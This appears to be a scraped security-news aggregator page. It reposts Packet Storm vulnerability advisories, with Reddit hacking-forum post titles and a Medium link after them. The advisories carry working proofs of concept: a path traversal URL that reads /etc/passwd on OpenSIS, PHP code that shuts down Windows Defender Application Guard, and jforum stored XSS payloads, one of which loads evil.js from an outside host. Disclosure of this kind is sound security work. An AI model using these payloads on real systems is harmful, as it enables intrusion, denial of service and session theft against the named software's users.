Exploit Collector
Remote Mouse 4.002 Unquoted Service Path

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Remote Mouse version 4.002 suffers from an unquoted service path vulnerability.

MD5 | 1a0690ef5839f55c744ed5a73d3fb409

Download
# Exploit Title: Remote Mouse 4.002 - Unquoted Service Path
# Exploit Author: Salman Asad (@deathflash1411, salman@defmax.io)
# Date: 03.09.2021
# Software Link: https://www.remotemouse.net/downloads/RemoteMouse.exe
# Vendor Homepage: https://www.remotemouse.net/
# Version: Remote Mouse 3.008 & 4.002
# Tested on: Windows 10

# Proof of Concept:

C:\Users\death>sc qc RemoteMouseService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: RemoteMouseService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Remote Mouse\RemoteMouseService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : RemoteMouseService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\death>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
RemoteMouseService RemoteMouseService C:\Program Files (x86)\Remote Mouse\RemoteMouseService.exe Auto

Source:packetstormsecurity.com

Exploit Collector
BRAKTOOTH: Causing Havoc On Bluetooth Link Manager

https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
This whitepaper discusses BRAKTOOTH, a family of new security vulnerabilities in commercial BT stacks that range from denial of service (DoS) via firmware crashes and deadlocks in commodity hardware to arbitrary code execution (ACE) in certain IoTs.

MD5 | 83e56767b319b5f79741b2ed5ec789fa

Download
Source:packetstormsecurity.com

Exploit Collector
SQLMAP - Automatic SQL Injection Tool 1.5.9

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.

MD5 | 32819398c46317bb918049666fad4e8f

Download
Source:packetstormsecurity.com

Exploit Collector
OpenSIS 8.0 Directory Traversal

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
OpenSIS version 8.0 suffers from a local file inclusion vulnerability via a path traversal.

MD5 | b5b5159ba7f41f0e12e980bac421c26d

Download
# Exploit Title: OpenSIS 8.0 'modname' - Directory/Path Traversal
# Date: 09-02-2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux

The 'modname' parameter in the 'Modules.php' is vulnerable to local file inclusion vulnerability. This vulnerability can be exploited to expose sensitive information from arbitrary files in the underlying system.

To exploit the vulnerability, someone must login as the "Parent" user, navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php. The 'modname' parameter and requests the Portal.php's contents. By going back a few directory using '..%2f' decoded as '../' it was possible to disclose arbitrary file from the server's filesystem as long as the application has access to the file.

1. Login as "Parent"

2. Open a web proxy such as BurpSuite and capture the requests

3. Navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login=

4. Check the response

PoC: https://youtu.be/wFwlbXANRCo

Source:packetstormsecurity.com

Exploit Collector
Windows Defender Application Guard Denial Of Service

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png
Windows Defender Application Guard suffers from a denial of service vulnerability when fed an overly long url.

MD5 | f2962e7a8daadbe489471872df92d89b

Download
Windows Defender Application Guard (also known as "WDAG", Microsoft Defender Application Guard, and "MDAG") can be closed by any script or website loaded in WDAG by redirecting the browser to a URL with a long hostname (e.g, 10,000 characters long). This can cause a denial-of-service condition.

Impact: 4.3
CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L/E:H/RL:U/RC:C

## Details

Application Guard will immediately close if there is any attempt by a user or website to load a URL where the hostname exceeds a certain length. The exact length needed is difficult to determine, but the issue occurs reliably with hostnames longer than 5,100 characters. A Microsoft engineer on the WDAG team indicated that this is working as designed, stating "This doesn't appear to be a crash. We quickly, but gracefully, tear down the container browser if container<-host messages are too large."

To exploit this issue, an attacker first needs to determine that the user is viewing the website in WDAG. This is easy to determine on the server side as WDAG sends an HTTP header named `x-ms-applicationguard-initiated` with a value of `1` with all requests.

Using these details, a website loaded inside of WDAG is able to close WDAG on the visitor's host operating system with the following PHP code:

if (isset($_SERVER['HTTP_X_MS_APPLICATIONGUARD_INITIATED'])) {
header('Location: https://'.str_repeat('a', 10000).'.example.com');
}

JavaScript executed in WDAG is able to redirect to a similar URL and cause WDAG to close, but a method of detecting WDAG on the client side has not yet been found.

You can find a Proof-of-Concept here: https://research.jdgregson.com/poc/wdag/dos1/
You can find this writeup online here: https://github.com/jdgregson/Disclosures/tree/master/microsoft/wdag-dos-long-hostname

## Impact

The impact of this vulnerability is Denial-of-Service. A malicious website is able to close WDAG at will, which can be used to prevent users from loading certain pages in WDAG. This may cause the user to load the page outside of WDAG on the host operating system.

The denial-of-service condition is short-lived as the user can simply open WDAG again. However, all of their tabs will be closed. Frequent closing of WDAG resulting in data and research loss may harm user adoption of WDAG.

## Disclosure Timeline

- 01/26/2021: Issue reported to WDAG team at Microsoft.
- 01/27/2021: Microsoft engineer responded indicating that WDAG is working as designed and the issue is not a buffer overflow.
- 08/31/2021: Full disclosure.

Source:packetstormsecurity.com

Exploit Collector
jforum 2.7.0 Cross Site Scripting

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
jforum version 2.7.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 853762005d22edc1e57bd00f68ea8394

Download
hi,

I found a vulnerability in the jforum 2.7.0. It is a storage cross site
script vulnerability. The place is the user's profile - signature. The
technique of the vulnerability is the same as that described in this
article "STORED CROSS SITE SCRIPTING IN BBCODE" (
https://mindedsecurity.com/advisories/msa130510/), and the POC is:

color tag:
[color=red" onMouseOver="alert('xss')]XSS[/color]
[color=red" onMouseOver="$.getScript('http://192.168.45.148:8080/evil.js')
;"]XSS[/color]
Renders into HTML:
XSS

color="red">XSS

img tag:
[img]/demo.jpg" onMouseOver="alert('xss')[/img]
Renders into HTML:
/demo.jpg

url= tag:
[url='http://www.demo.com" onMouseOver="alert('xss')']test[/url]
Renders into HTML:

target="_blank">test

through analysis, the forum has set the cookie to http-only, but the
attacker can use the $.getScript to do some evil things.

this vulnerability has been fixed in
https://sourceforge.net/p/jforum2/code/934/ .

timeline:
2021-04-21 announce the developer of Jforum by e-mail
2021-04-22 Jforum fixed the vulnerability, and will include this fix in
next release
2021-09-02 send this mail to bugtraq&fulldisclosure

Source:packetstormsecurity.com

hacking: security in practice
Learning Brute force for android (HID)

I have a Note 9 that is currently not being used. I have a password set on it & I was wondering how I could go about learning to brute force the password.

I'm not using the phone, the amount of time it takes to get the password is irrelevant to me as its more for my personal learning. How can I go about brute forcing the password (even if it takes 10 years) I've heard of hashcat and JohnTheRipper but I'm unsure about how I would go about using them to brute force a password on a physical device through USB, I've seen some GitHub projects of older scripts made for GS5 and such, but if anyone knows of how I can get started. Things such as resources, POCs, tools I can use, etc. I would really appreciate that, all I know right now is that most end up using an HID cable which I have a very vague understanding of (just that its acts like a virtual keyboard to input touch to the phone).

submitted by /u/count_Der3k
[link] [comments]

hacking: security in practice
Hey, want to develop the HACKER MINDSET!!

https://external-preview.redd.it/dAQGBgr2iMXUloI1TmoQfmBC3YyAfA2pTvejItNfhAQ.jpg?width=320&crop=smart&auto=webp&s=312fab20f128f9512760ec9cb098ea77965df5fd submitted by /u/JGmagicman
[link] [comments]

hacking: security in practice
Is Arcai Netcut safe?

I found it on my laptop and looking online, it had a few people saying that it had viruses, but virustotal said it had no detections. Is it safe?

https://www.virustotal.com/gui/file/1afc430f162c5a2177b17cb2ef908e7997873a82972d40749fcd0694b6a32f0d/detection

submitted by /u/Serrune
[link] [comments]

hacking: security in practice
Overwhelming a site with false data

https://b.thumbs.redditmedia.com/H5Dq4M5R0QQawBa3t9aY6SGYTyJbqD3P-CNO28FRS4o.jpg submitted by /u/snafe_
[link] [comments]

Hacking on Medium
IPsec Tunneling

https://cdn-images-1.medium.com/max/984/0*kDdVjWbARsLFC6kq.jpg
GitHub — Jadhusan-S/Python3-IPsecTunnel:

Continue reading on Medium »